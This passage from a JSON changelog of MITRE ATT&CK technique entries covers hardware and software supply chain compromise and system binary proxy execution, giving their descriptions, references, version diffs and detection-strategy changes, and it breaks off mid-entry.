"description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1195/003",
"external_id": "T1195.003"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.693000+00:00\", \"old_value\": \"2025-04-15 22:07:50.636000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1046: Boot Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0013: Sensor Health (Host Status)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0368: Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-11 14:17:21.153000+00:00",
"modified": "2025-10-24 17:49:18.341000+00:00",
"name": "Compromise Software Supply Chain",
"description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1195/002",
"external_id": "T1195.002"
},
{
"source_name": "Avast CCleaner3 2018",
"description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
"url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
},
{
"source_name": "Command Five SK 2011",
"description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.341000+00:00\", \"old_value\": \"2025-04-15 22:08:31.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1016: Vulnerability Scanning",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0309: Compromised software/update chain (installer/write \u2192 first-run/child \u2192 egress/signature anomaly)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:48:43.406000+00:00",
"name": "System Binary Proxy Execution",
"description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218",
"external_id": "T1218"
},
{
"source_name": "GTFO split",
"description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.",
"url": "https://gtfobins.github.io/gtfobins/split/"
},
{
"source_name": "LOLBAS Project",
"description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
"url": "https://github.com/LOLBAS-Project/LOLBAS#criteria"
},
{
"source_name": "split man page",
"description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022.",
"url": "https://man7.org/linux/man-pages/man1/split.1.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Nishan Maharjan, @loki248",
"Hans Christoffer Gaardl\u00f8s",
"Praetorian",
"Wes Hurd"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "3.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load